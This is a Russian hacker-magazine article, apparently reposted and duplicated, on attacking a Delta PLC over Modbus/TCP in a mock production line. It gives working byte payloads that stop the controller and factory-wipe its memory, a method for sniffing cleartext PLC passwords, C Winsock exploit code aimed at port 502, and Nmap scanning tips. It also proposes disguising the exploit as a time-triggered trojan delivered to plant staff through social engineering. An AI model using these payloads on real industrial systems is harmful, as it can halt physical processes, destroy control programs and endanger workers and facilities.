Пожалуйста, обратите внимание, что пользователь заблокирован
Все началось с того, что в наши руки попал ПЛК Delta DVP-14SS211R. И завертелось... Ну а что делать хакеру с программируемым логическим контроллером? Ясное дело, исследовать и попробовать написать эксплойт. В одном из прошлых номеров мы рассказывали про уязвимости программируемых логических контроллеров, которые очень широко применяются в системах автоматизации производственных процессов, и про самый известный троян для такого рода систем — StuxNet. Сегодня мы продолжим исследовать эту тему и попытаемся написать небольшой эксплойт, с помощью которого можно вмешаться в производственный процесс, находящийся под управлением логического контроллера.
ГОТОВИМ ИСПЫТАТЕЛЬНЫЙ ПОЛИГОН
Сразу оговорюсь, что уязвимости, рассматриваемые в статье, характерны практически для всех типов ПЛК, а не только для ПЛК Delta DVP-14SS211R, который мы будем исследовать. И это не огрехи какого-то конкретного производителя, а своего рода фундаментальная проблема — наследие того времени, когда на первый план выходила простота реализации и экономическая целесообразность, а вовсе не информационная безопасность и угроза несанкционированного вмешательства.
Итак, для начала смоделируем маленькую SCADA-систему из одного ПЛК и нескольких рабочих мест. Наша «производственная линия» будет состоять из двух емкостей, охлаждающей колонны, насоса и задвижки. Задача линии — перекачивать жидкость из одной емкости в другую через охлаждающую колонну.
Рис. 1. Схема смоделированной «производственной линии»
Для управления всем этим хозяйством назначим двух операторов (один включает и выключает насос, другой открывает или закрывает задвижку) и одного директора (о, я буду директором. — Прим. ред.), который наблюдает за всеми действиями системы. Каждому из этих лиц оборудуем по одному АРМ. Саму SCADA-систему для каждого АРМ мы напишем в среде Trace Mode шестой версии (была выбрана потому, что бесплатно доступна в базовой версии и не нуждается в дополнительных исполняемых модулях для отладочного пуска и проверки системы). Подробности написания самой SCADA мы опустим, ибо на это нужно достаточно много места в журнале, которое, как обычно, на вес золота, да и основная цель исследования вовсе не разработка и написание SCADA-систем.
Рис. 2. Низший уровень управления нашей «производственной линии» (ПЛК, блок питания и преобразователь интерфейса)
Помимо создания самой SCADA, еще необходимо написать программу для ПЛК. У нас имеются два исполнительных устройства (насос и задвижка), соответственно, на ПЛК мы задействуем два выхода Y0 и Y1 (выходы на всех ПЛК, как правило, обозначаются буквой Y, и каждый выход имеет свой номер). На выход Y0 мы повесим насос, а на выход Y1 — задвижку. Выход Y0 управляется внутренними реле контроллера M0 (включение) и M1 (выключение), а выход Y1 — реле M2 (включение) и M3 (выключение). На языке IL (список инструкций) это выглядит таким образом:
Рис.3. Программа для ПЛК, написанная наязыке LD (язык лестничных диаграмм) (все очень просто, два выхода и четыре реле)
Рис. 4. АРМ оператора задвижки
Рис. 5. АРМ оператора насоса
Рис. 6. АРМ директора «предприятия»
На АРМ оператора задвижки имеются две кнопки (для открывания и закрывания задвижки) и сигнальный индикатор, на АРМ оператора насоса также две кнопки (для пуска и останова насоса) и сигнальный индикатор. На АРМ директора выведены и кнопки управления задвижкой, и кнопки управления насосом, а также оба индикатора. Кнопки управления насосом связаны с внутренними реле ПЛК M0 и M1 (M0 — «Пуск», M1 — «Стоп»), сигнальный индикатор включения насоса связан с выходом Y1. Кнопки управления задвижкой связаны с внутренними реле ПЛК M2 и M3 (M2 — «Открыть», M3 — «Закрыть»), сигнальный индикатор задвижки связан с выходом Y1 (все эти связи прописываются в SCADA при ее проектировании).
Все три АРМ и ПЛК соединены в сеть. ПЛК Delta DVP14SS211R несет на борту только интерфейсы RS-232 и RS-485 (о них можешь прочитать на врезке) и не имеет возможности прямого включения в Ethernet-сеть. Поэтому пришлось задействовать дополнительный девайс под названием IFD-9507 — преобразователь интерфейсов из RS-485 в Ethernet. Помимо трех АРМ обслуживающего персонала, предусмотрим одно технологическое рабочее место, на котором установлен софт для программирования ПЛК (в нашем случае это WPLSoft, одна из программ, специально обученных для работы с ПЛК Delta). Это место в штатном режиме функционирования SCADA-системы не задействовано и служит для обновления прошивки ПЛК.
Рис. 7. Топология нашей SCADA-системы
ИЩЕМ УЯЗВИМОСТИ
В статье «SCADA под прицелом» (][ номер 7 за 2011 год) была описана уязвимость, характерная для большинства ПЛК, а именно возможность перевода ПЛК в режим listen only. Этот режим позволяет вывести ПЛК из процесса обработки команд и управления, что приведет к остановке технологического процесса в целом. На многих ПЛК имеется переключатель RUN/ STOP (он выделен на фотографии ПЛК), который позволяет это делать аппаратно (разумеется, для этого нужен физический доступ к самому ПЛК). Кроме этого, можно перевести ПЛК в режим listen only, отправив на ПЛК определенную последовательность команд (а это, как ты сам понимаешь, уже позволит удаленно вмешаться в процесс управления).
Вот эту последовательность команд мы и попытаемся найти для нашего ПЛК Delta. Помимо этого, попробуем перехватить пароль, с помощью которого в ПЛК защищена от считывания его прошивка, а также посмотрим, можно ли удаленно вообще полностью обнулить память ПЛК.
Для решения поставленных задач будем использовать штатное средство для программирования ПЛК компании Delta Electronics — программу WPLSoft и широко известный в узких кругах Wireshark.
Удаленный пуск и останов ПЛК
В WPLSoft имеются две замечательные кнопочки RUN и STOP, которые как раз и предназначены для управления ПЛК в ходе написания и отладки управляющей программы. Подключаем ПЛК к компьютеру, устанавливаем связь WPLSoft с подключенным ПЛК, запускаем Wireshark и смотрим, что посылается на ПЛК в момент нажатия этих кнопочек. При нажатии кнопки STOP видим последовательность из 12 байт, отправляемую на ПЛК по протоколу Modbus/TCP:
Рис. 8. Перехваченная последовательность, позволяющая перевести ПЛК врежим STOP
К нашей радости, Wireshark с легкостью распознает и раскладывает по полочкам все то, что передается по этому протоколу (подробно о нем читай на врезке, а если надо еще более подробно, то в Википедии). Итак, имеем номер транзакции — ea97h (60055 в десятичном виде — он, в принципе, может быть любым), идентификатор протокола — 0, длину передаваемых данных — 6 байт. В передаваемые данные входят: адрес ведомого устройства — 1 (в нашем случае устройство одно и его номер соответственно равен 1, если написать здесь ноль, то команда широковещательно пойдет всем ПЛК, которые висят на этой линии), код функции — 05 (запись значения одного флага — Force Single Coil), адрес этого флага 0c30h (3120 в десятичном виде), и оставшиеся два байта нулей означают, что мы данный флаг переводим в выключенное состояние.
Рис.9. Перехваченная последовательность, позволяющая перевести ПЛК врежим RUN
При нажатии кнопки RUN мы перехватим почти такую же последовательность, за исключением двух последних байт, там будет значение ff00h. Такое значение переводит флаг во включенное состояние.
Кнопки, позволяющие останавливать и запускать ПЛК, имеются практически во всех средах разработки программ для контроллеров (без них процесс написания и отладки программ для ПЛК был бы затруднителен), а это значит, что подсмотреть нужную последовательность байт можно не только для ПЛК Delta, как это сделали мы, но и для контроллеров других производителей.
Перехватываем пароль
Для защиты программы, которая находится в ПЛК, от несанкционированного считывания в некоторых контроллерах можно устанавливать пароль. Делается это посредством все той же программной среды, в которой пишутся программы для каждого конкретного типа ПЛК. При этом во многих случаях этот пароль никоим образом не шифруется и передается по Modbus/TCP в открытом виде.
Итак, пробуем. Выбираем опцию защиты программы при ее загрузке в ПЛК паролем, вводим пароль (чтобы было проще его отследить, мы ввели четыре заглавные буквы G), смотрим в Wireshark и видим его в одной из переданных на ПЛК последовательностей байт:
Рис. 10. Перехваченный пароль «GGGG»
В общем, для того чтобы собрать все пароли в системе, нужно просто отлавливать последовательности 01h, 0bh, 04h, и идущие за ней четыре байта и будут паролем.
Обнуляем память ПЛК до заводских настроек
Для этого применим функцию Format PLC memory, заботливо предусмотренную создателями WPLSoft (подобная функция имеется и в других средах разработки). Итак, вызываем Format PLC memory, выбираем «Reset PLC memory (Factory setting)», жмем подтверждение и смотрим в Wireshark. А там видим следующее:
Первые два байта, как мы знаем, — это номер транзакции, следующие два — идентификатор протокола, далее два байта — длина сообщения (в нашем случае длина сообщения 5 байт), потом адрес устройства, далее код функции (у нас это 64h — функция не определена стандартом и реализуется на усмотрение производителя) и затем данные (три байта — 01h, 14h, 00h).
ПИШЕМ ЭКСПЛОЙТ
Остановить или обнулить ПЛК, как ты уже понял, довольно просто. Достаточно отправить на контроллер нужную последовательность байт.
Для этого мы будем использовать Winsock API, поэтому для начала нужно подключить соответствующий заголовочный файл и библиотеку:
Далее создаем нужную последовательность:
Надеюсь, ты узнал в этом массиве последовательность для перевода ПЛК в режим STOP. Первые два байта, как мы уже знаем, означают номер транзакции и могут быть любыми.
Далее все просто — инициализируем Winsock, создаем сокет, устанавливаем соединение и посылаем данные:
Для форматирования памяти ПЛК до заводских настроек нужно создать такой массив:
АТАКА НА «ПРОИЗВОДСТВЕННУЮ ЛИНИЮ»
Настало время попробовать эксплойт в деле и провести атаку на нашу с таким трудом созданную «производственную линию».
Для начала узнаем IP-адрес ПЛК (для того, чтобы его вставить в нужное место эксплойта). Конечно, лучше всего для этого взять специальную софтину типа «SCADA-аудитор» или еще что-нибудь подобное, но вполне можно обойтись и Nmap’ом. Если в списке открытых портов мы увидим порт за номером 502, то можно не сомневаться в принадлежности этого устройства. Порт номер 502 специально зарезервирован для протокола Modbus/TCP.
Рис. 11. Открытый 502-й порт на устройстве с IP-адресом 192.168.0.5
Далее тайно включаемся в сеть и ждем нужного момента для запуска эксплойта. Ничего не подозревающие операторы и директор наблюдают за «производством», включают и выключают насос, открывают и закрывают задвижку — и вдруг насос останавливается, задвижка закрывается, и все оборудование перестает реагировать на органы управления. А все из-за того, что мы отправили всего лишь 12 байт в нужное время и в нужное место.
Согласись, что если оформить такой эксплойт в виде трояна, срабатывающего по какому-нибудь условию (время/дата), подкинуть этот троян обслуживающему персоналу (например, по почте или на флешке) и применить пару эффективных приемов социальной инженерии, то получится довольно-таки опасная вещь.
ЗАКЛЮЧЕНИЕ
Может быть, ты уже заметил, что тема информационной безопасности SCADA-систем в последнее время приобрела особую актуальность и постепенно выливается в очень интересное и весьма перспективное направление деятельности.
Надеюсь, ты правильно воспримешь все, что написано в этой статье, и не станешь пытаться останавливать большой адронный коллайдер в Европейском центре ядерных исследований или прекращать выработку электроэнергии на Калининской АЭС, а сконцентрируешь свои усилия на конструктивных действиях, которые внесут вклад в решение большой проблемы безопасной работы критически важных и потенциально опасных объектов производства.
Источник: https://xakep.ru/issues/xa/185/
ГОТОВИМ ИСПЫТАТЕЛЬНЫЙ ПОЛИГОН
Сразу оговорюсь, что уязвимости, рассматриваемые в статье, характерны практически для всех типов ПЛК, а не только для ПЛК Delta DVP-14SS211R, который мы будем исследовать. И это не огрехи какого-то конкретного производителя, а своего рода фундаментальная проблема — наследие того времени, когда на первый план выходила простота реализации и экономическая целесообразность, а вовсе не информационная безопасность и угроза несанкционированного вмешательства.
Итак, для начала смоделируем маленькую SCADA-систему из одного ПЛК и нескольких рабочих мест. Наша «производственная линия» будет состоять из двух емкостей, охлаждающей колонны, насоса и задвижки. Задача линии — перекачивать жидкость из одной емкости в другую через охлаждающую колонну.
Рис. 1. Схема смоделированной «производственной линии»
Для управления всем этим хозяйством назначим двух операторов (один включает и выключает насос, другой открывает или закрывает задвижку) и одного директора (о, я буду директором. — Прим. ред.), который наблюдает за всеми действиями системы. Каждому из этих лиц оборудуем по одному АРМ. Саму SCADA-систему для каждого АРМ мы напишем в среде Trace Mode шестой версии (была выбрана потому, что бесплатно доступна в базовой версии и не нуждается в дополнительных исполняемых модулях для отладочного пуска и проверки системы). Подробности написания самой SCADA мы опустим, ибо на это нужно достаточно много места в журнале, которое, как обычно, на вес золота, да и основная цель исследования вовсе не разработка и написание SCADA-систем.
Рис. 2. Низший уровень управления нашей «производственной линии» (ПЛК, блок питания и преобразователь интерфейса)
Помимо создания самой SCADA, еще необходимо написать программу для ПЛК. У нас имеются два исполнительных устройства (насос и задвижка), соответственно, на ПЛК мы задействуем два выхода Y0 и Y1 (выходы на всех ПЛК, как правило, обозначаются буквой Y, и каждый выход имеет свой номер). На выход Y0 мы повесим насос, а на выход Y1 — задвижку. Выход Y0 управляется внутренними реле контроллера M0 (включение) и M1 (выключение), а выход Y1 — реле M2 (включение) и M3 (выключение). На языке IL (список инструкций) это выглядит таким образом:
Код:
000000 LD M0
000001 OR Y0
000002 ANI M1
000003 OUT Y0
000004 LD M2
000005 OR Y1
000006 ANI M1
000007 OUT Y1
000008 END
Рис.3. Программа для ПЛК, написанная наязыке LD (язык лестничных диаграмм) (все очень просто, два выхода и четыре реле)
Рис. 4. АРМ оператора задвижки
Рис. 5. АРМ оператора насоса
Рис. 6. АРМ директора «предприятия»
На АРМ оператора задвижки имеются две кнопки (для открывания и закрывания задвижки) и сигнальный индикатор, на АРМ оператора насоса также две кнопки (для пуска и останова насоса) и сигнальный индикатор. На АРМ директора выведены и кнопки управления задвижкой, и кнопки управления насосом, а также оба индикатора. Кнопки управления насосом связаны с внутренними реле ПЛК M0 и M1 (M0 — «Пуск», M1 — «Стоп»), сигнальный индикатор включения насоса связан с выходом Y1. Кнопки управления задвижкой связаны с внутренними реле ПЛК M2 и M3 (M2 — «Открыть», M3 — «Закрыть»), сигнальный индикатор задвижки связан с выходом Y1 (все эти связи прописываются в SCADA при ее проектировании).
Все три АРМ и ПЛК соединены в сеть. ПЛК Delta DVP14SS211R несет на борту только интерфейсы RS-232 и RS-485 (о них можешь прочитать на врезке) и не имеет возможности прямого включения в Ethernet-сеть. Поэтому пришлось задействовать дополнительный девайс под названием IFD-9507 — преобразователь интерфейсов из RS-485 в Ethernet. Помимо трех АРМ обслуживающего персонала, предусмотрим одно технологическое рабочее место, на котором установлен софт для программирования ПЛК (в нашем случае это WPLSoft, одна из программ, специально обученных для работы с ПЛК Delta). Это место в штатном режиме функционирования SCADA-системы не задействовано и служит для обновления прошивки ПЛК.
MODBUS - это открытый коммуникационный протокол, широко применяющийся в промышленности для организации связи между различными электронными устройствами. Основан на архитектуре «клиент — сервер». Для передачи данных может использовать последовательные линии связи RS-232 и RS-485, а также сеть Ethernet с применением протокола TCP/IP. Впервые был предложен компанией Modicon для использования в ее контроллерах. В настоящее время подавляющее большинство производителей элементов промышленной автоматики реализуют этот протокол в своих изделиях.
Рис. 7. Топология нашей SCADA-системы
ИЩЕМ УЯЗВИМОСТИ
В статье «SCADA под прицелом» (][ номер 7 за 2011 год) была описана уязвимость, характерная для большинства ПЛК, а именно возможность перевода ПЛК в режим listen only. Этот режим позволяет вывести ПЛК из процесса обработки команд и управления, что приведет к остановке технологического процесса в целом. На многих ПЛК имеется переключатель RUN/ STOP (он выделен на фотографии ПЛК), который позволяет это делать аппаратно (разумеется, для этого нужен физический доступ к самому ПЛК). Кроме этого, можно перевести ПЛК в режим listen only, отправив на ПЛК определенную последовательность команд (а это, как ты сам понимаешь, уже позволит удаленно вмешаться в процесс управления).
Вот эту последовательность команд мы и попытаемся найти для нашего ПЛК Delta. Помимо этого, попробуем перехватить пароль, с помощью которого в ПЛК защищена от считывания его прошивка, а также посмотрим, можно ли удаленно вообще полностью обнулить память ПЛК.
Для решения поставленных задач будем использовать штатное средство для программирования ПЛК компании Delta Electronics — программу WPLSoft и широко известный в узких кругах Wireshark.
Удаленный пуск и останов ПЛК
В WPLSoft имеются две замечательные кнопочки RUN и STOP, которые как раз и предназначены для управления ПЛК в ходе написания и отладки управляющей программы. Подключаем ПЛК к компьютеру, устанавливаем связь WPLSoft с подключенным ПЛК, запускаем Wireshark и смотрим, что посылается на ПЛК в момент нажатия этих кнопочек. При нажатии кнопки STOP видим последовательность из 12 байт, отправляемую на ПЛК по протоколу Modbus/TCP:
Код:
eah 97h 00h 00h 00h 06h 01h 05h 0ch 30h 00h 00h
Рис. 8. Перехваченная последовательность, позволяющая перевести ПЛК врежим STOP
К нашей радости, Wireshark с легкостью распознает и раскладывает по полочкам все то, что передается по этому протоколу (подробно о нем читай на врезке, а если надо еще более подробно, то в Википедии). Итак, имеем номер транзакции — ea97h (60055 в десятичном виде — он, в принципе, может быть любым), идентификатор протокола — 0, длину передаваемых данных — 6 байт. В передаваемые данные входят: адрес ведомого устройства — 1 (в нашем случае устройство одно и его номер соответственно равен 1, если написать здесь ноль, то команда широковещательно пойдет всем ПЛК, которые висят на этой линии), код функции — 05 (запись значения одного флага — Force Single Coil), адрес этого флага 0c30h (3120 в десятичном виде), и оставшиеся два байта нулей означают, что мы данный флаг переводим в выключенное состояние.
Рис.9. Перехваченная последовательность, позволяющая перевести ПЛК врежим RUN
При нажатии кнопки RUN мы перехватим почти такую же последовательность, за исключением двух последних байт, там будет значение ff00h. Такое значение переводит флаг во включенное состояние.
Кнопки, позволяющие останавливать и запускать ПЛК, имеются практически во всех средах разработки программ для контроллеров (без них процесс написания и отладки программ для ПЛК был бы затруднителен), а это значит, что подсмотреть нужную последовательность байт можно не только для ПЛК Delta, как это сделали мы, но и для контроллеров других производителей.
Перехватываем пароль
Для защиты программы, которая находится в ПЛК, от несанкционированного считывания в некоторых контроллерах можно устанавливать пароль. Делается это посредством все той же программной среды, в которой пишутся программы для каждого конкретного типа ПЛК. При этом во многих случаях этот пароль никоим образом не шифруется и передается по Modbus/TCP в открытом виде.
Итак, пробуем. Выбираем опцию защиты программы при ее загрузке в ПЛК паролем, вводим пароль (чтобы было проще его отследить, мы ввели четыре заглавные буквы G), смотрим в Wireshark и видим его в одной из переданных на ПЛК последовательностей байт:
Рис. 10. Перехваченный пароль «GGGG»
Код:
e2h 07h 00h 00h 00h 09h 01h 64h 01h 0bh 04h 47h 47h 47h 47h
В общем, для того чтобы собрать все пароли в системе, нужно просто отлавливать последовательности 01h, 0bh, 04h, и идущие за ней четыре байта и будут паролем.
Обнуляем память ПЛК до заводских настроек
Для этого применим функцию Format PLC memory, заботливо предусмотренную создателями WPLSoft (подобная функция имеется и в других средах разработки). Итак, вызываем Format PLC memory, выбираем «Reset PLC memory (Factory setting)», жмем подтверждение и смотрим в Wireshark. А там видим следующее:
Код:
33h 88h 00h 00h 00h 05h 01h 64h 01h 14h 00h
Первые два байта, как мы знаем, — это номер транзакции, следующие два — идентификатор протокола, далее два байта — длина сообщения (в нашем случае длина сообщения 5 байт), потом адрес устройства, далее код функции (у нас это 64h — функция не определена стандартом и реализуется на усмотрение производителя) и затем данные (три байта — 01h, 14h, 00h).
ПИШЕМ ЭКСПЛОЙТ
Остановить или обнулить ПЛК, как ты уже понял, довольно просто. Достаточно отправить на контроллер нужную последовательность байт.
Для этого мы будем использовать Winsock API, поэтому для начала нужно подключить соответствующий заголовочный файл и библиотеку:
C:
#include "winsock.h"
#pragma comment(lib,"ws2_32.lib")
Далее создаем нужную последовательность:
C:
char BuffPLCOff[12] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x06, 0x01, 0x05, 0x0c, 0x30, 0x00, 0x00};
Надеюсь, ты узнал в этом массиве последовательность для перевода ПЛК в режим STOP. Первые два байта, как мы уже знаем, означают номер транзакции и могут быть любыми.
Далее все просто — инициализируем Winsock, создаем сокет, устанавливаем соединение и посылаем данные:
C:
// Инициализация Winsock
WSADATA wsaData;
WSAStartup(WINSOCK_VERSION, &wsaData);
// Создаем сокет
SOCKET Server;
Server = socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
// Производим инициализацию сокета
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET;
// Используем 502-й порт (специально для Modbus/TCP)
ServerAddr.sin_port = htons(502);
// Сюда вместо xxx.xxx.xxx.xxx пишем IP-адрес
// ПЛК (как его узнать — чуть позже)
ServerAddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");
// Устанавливаем соединение
connect(Server,(LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
// Получаем указатель на последовательность байт
char *pBufPLCOff = BuffPLCOff;
// Передаем данные
send(Server, pBuf,sizeof(BuffPLCOff),0);
Для форматирования памяти ПЛК до заводских настроек нужно создать такой массив:
C:
char BuffPLCFormat[11] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x05, 0x01, 0x64, 0x01, 0x14, 0x00};
АТАКА НА «ПРОИЗВОДСТВЕННУЮ ЛИНИЮ»
Настало время попробовать эксплойт в деле и провести атаку на нашу с таким трудом созданную «производственную линию».
Для начала узнаем IP-адрес ПЛК (для того, чтобы его вставить в нужное место эксплойта). Конечно, лучше всего для этого взять специальную софтину типа «SCADA-аудитор» или еще что-нибудь подобное, но вполне можно обойтись и Nmap’ом. Если в списке открытых портов мы увидим порт за номером 502, то можно не сомневаться в принадлежности этого устройства. Порт номер 502 специально зарезервирован для протокола Modbus/TCP.
Рис. 11. Открытый 502-й порт на устройстве с IP-адресом 192.168.0.5
Далее тайно включаемся в сеть и ждем нужного момента для запуска эксплойта. Ничего не подозревающие операторы и директор наблюдают за «производством», включают и выключают насос, открывают и закрывают задвижку — и вдруг насос останавливается, задвижка закрывается, и все оборудование перестает реагировать на органы управления. А все из-за того, что мы отправили всего лишь 12 байт в нужное время и в нужное место.
Согласись, что если оформить такой эксплойт в виде трояна, срабатывающего по какому-нибудь условию (время/дата), подкинуть этот троян обслуживающему персоналу (например, по почте или на флешке) и применить пару эффективных приемов социальной инженерии, то получится довольно-таки опасная вещь.
ЗАКЛЮЧЕНИЕ
Может быть, ты уже заметил, что тема информационной безопасности SCADA-систем в последнее время приобрела особую актуальность и постепенно выливается в очень интересное и весьма перспективное направление деятельности.
Надеюсь, ты правильно воспримешь все, что написано в этой статье, и не станешь пытаться останавливать большой адронный коллайдер в Европейском центре ядерных исследований или прекращать выработку электроэнергии на Калининской АЭС, а сконцентрируешь свои усилия на конструктивных действиях, которые внесут вклад в решение большой проблемы безопасной работы критически важных и потенциально опасных объектов производства.
RS-232. Проводной дуплексный интерфейс. Метод передачи данных аналогичен асинхронному последовательному интерфейсу. В настоящее время можно встретить на очень древних компьютерах в виде 9- или 21-контактного разъема. Первые мышки подключались к компьютерам именно с помощью такого разъема. Информация передается по проводам двоичным сигналом с двумя уровнями напряжения. Логическому «0» соответствует положительное напряжение (от +5 до +15 В для передатчика), а логической «1» отрицательное (от –5 до –15 В для передатчика). Обеспечивает передачу данных и некоторых специальных сигналов на расстояние до 15 м.
RS-485. Стандарт физического уровня для асинхронного интерфейса. Регламентирует электрические параметры полудуплексной многоточечной дифференциальной линии связи. В стандарте RS-485 для передачи и приема данных используется одна витая пара проводов, иногда с экранирующей оплеткой или общим проводом. Данные передаются с помощью дифференциальных сигналов. Разница напряжений между проводниками одной полярности означает логическую единицу, разница другой полярности — ноль. Стандарт RS-485 оговаривает только электрические и временные характеристики сигналов и не оговаривает параметры качества сигналов, протоколы обмена, типы проводов и соединителей.
Modbus/TCP используется для передачи данных через TCP/IP-соединение в Ethernet-сетях.
Формат Modbus-пакета для передачи данных включает в себя шесть полей:
• ID транзакции (два байта);
• ID протокола (два байта, нули);
• длина пакета (два байта, сначала старший, затем младший, указывают количество байт, следующих за этим полем);
• адрес устройства (один байт, если в этом поле нули, то пакет адресован всем устройствам на линии);
• код функции (один байт, например 02h — чтение значений из нескольких дискретных входов или 05h — запись значения одного флага);
• данные (в зависимости от типа команды).
Источник: https://xakep.ru/issues/xa/185/